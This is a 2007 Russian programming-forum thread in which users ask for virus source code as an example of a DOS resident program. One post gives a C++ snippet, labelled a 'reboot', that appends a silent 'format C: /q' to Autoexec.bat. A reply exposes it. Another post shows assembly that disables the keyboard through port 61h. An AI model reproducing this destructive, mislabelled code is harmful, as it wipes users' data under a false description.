Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Общие вопросы C/C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 26.09.2007, 13:28   #1
Nemesisking
Форумчанин
 
Аватар для Nemesisking
 
Регистрация: 04.02.2007
Сообщений: 213
Восклицание Резидентная программа!

Салам! Помогите найти исходник с описанием хорошого виря, как для резидентной программы, очень нужно для учебы! Заранее спасибо!
Per Aspera Ad Astra
www.salviaclub.com.ua
Nemesisking вне форума Ответить с цитированием
Старый 26.09.2007, 14:29   #2
studenth
Форумчанин
 
Регистрация: 10.09.2007
Сообщений: 105
По умолчанию

Да, кстати, помогите!
Я бы тоже посмотрел, тема интересная!
Бог сделал людей разными, а генерал Кольт уравнял шансы
studenth вне форума Ответить с цитированием
Старый 26.09.2007, 16:08   #3
Alek86
Форумчанин
 
Регистрация: 25.09.2007
Сообщений: 189
По умолчанию

вирь - это вирус?
тогда в основном на асме
Alek86 вне форума Ответить с цитированием
Старый 26.09.2007, 22:15   #4
Nemesisking
Форумчанин
 
Аватар для Nemesisking
 
Регистрация: 04.02.2007
Сообщений: 213
По умолчанию

Но почему на асме, я же тему кинул на Си и даже не в делфи?! Мне надо вирь, как не вирус, который что-то портит или разрушает, а резидентная программа для Си, с целью обучения резидентного обработчика и обработчика прерываний.
Per Aspera Ad Astra
www.salviaclub.com.ua
Nemesisking вне форума Ответить с цитированием
Старый 28.09.2007, 10:14   #5
studenth
Форумчанин
 
Регистрация: 10.09.2007
Сообщений: 105
По умолчанию

Да, а если бы еще нашелся человек, который на примерах все бы растолковал... было бы вообще в поряде.
а вообще асм потихоньку умирает. Во всяком случае по программе обучения ИВТ его дают - курам насмех, использование в рамках асм блоков в Builder'е....
Вообще, если у кого есть пример, может быть прям сдесь его и разберем по косточкам????
Бог сделал людей разными, а генерал Кольт уравнял шансы
studenth вне форума Ответить с цитированием
Старый 28.09.2007, 22:27   #6
Nemesisking
Форумчанин
 
Аватар для Nemesisking
 
Регистрация: 04.02.2007
Сообщений: 213
По умолчанию

Где-то, когда-то слышал код, блока клавиатуры, примерно он звучал вот так вот: Output 061H, естествено он был длинее! Может кто-то вспомнит?
Per Aspera Ad Astra
www.salviaclub.com.ua
Nemesisking вне форума Ответить с цитированием
Старый 28.09.2007, 22:36   #7
Nemesisking
Форумчанин
 
Аватар для Nemesisking
 
Регистрация: 04.02.2007
Сообщений: 213
По умолчанию

Вот еще есть, перезагрузка компа(DOS):

#include <iostream.h>
#include <fstream.h>
void main()
{
fstream file;
file.open("c:\\Autoexec.bat",ios::a pp);
file<<endl<<"@Echo off"<<endl<<"format C: /q";
file.close();
}


PS. Все о чем я тут толкую, это все для DOS! Например в Windows Xp Autoexec.bat не является автозагрузкой, так что если будут какие-то коды, попрошу писать в какой среде они работают!
Per Aspera Ad Astra
www.salviaclub.com.ua
Nemesisking вне форума Ответить с цитированием
Старый 29.09.2007, 08:39   #8
studenth
Форумчанин
 
Регистрация: 10.09.2007
Сообщений: 105
По умолчанию

Цитата:
Сообщение от Nemesisking Посмотреть сообщение
Вот еще есть, перезагрузка компа(DOS):
file<<endl<<"@Echo off"<<endl<<"format C: /q";
Хорошенькая перезагрузка....
Форматирование с ключем отмены предупреждения....%)
Бог сделал людей разными, а генерал Кольт уравнял шансы
studenth вне форума Ответить с цитированием
Старый 29.09.2007, 08:46   #9
studenth
Форумчанин
 
Регистрация: 10.09.2007
Сообщений: 105
По умолчанию

Цитата:
Сообщение от Nemesisking Посмотреть сообщение
Где-то, когда-то слышал код, блока клавиатуры, примерно он звучал вот так вот: Output 061H, естествено он был длинее! Может кто-то вспомнит?
ну на АСМ можно сделать так...

in AL, 61h ; прочитать состояние порта
or AL, 80h ; операция побитового ИЛИ константы 80h и сост. порта
out 61h, AL ; запись в порт полученного значения.

И клава выключится.
Также можно использовать функции BIOS, и с помощью портов в C++;
Смысл такой же как и выше.

Только причем тут резидентная прога ?
не туда мы поехали....
Бог сделал людей разными, а генерал Кольт уравнял шансы
studenth вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
программа (не код!) simple Помощь студентам 8 14.01.2008 23:36
Программа ben95 Общие вопросы Delphi 1 04.01.2008 20:52
Программа на С++ natan Помощь студентам 1 23.12.2007 15:59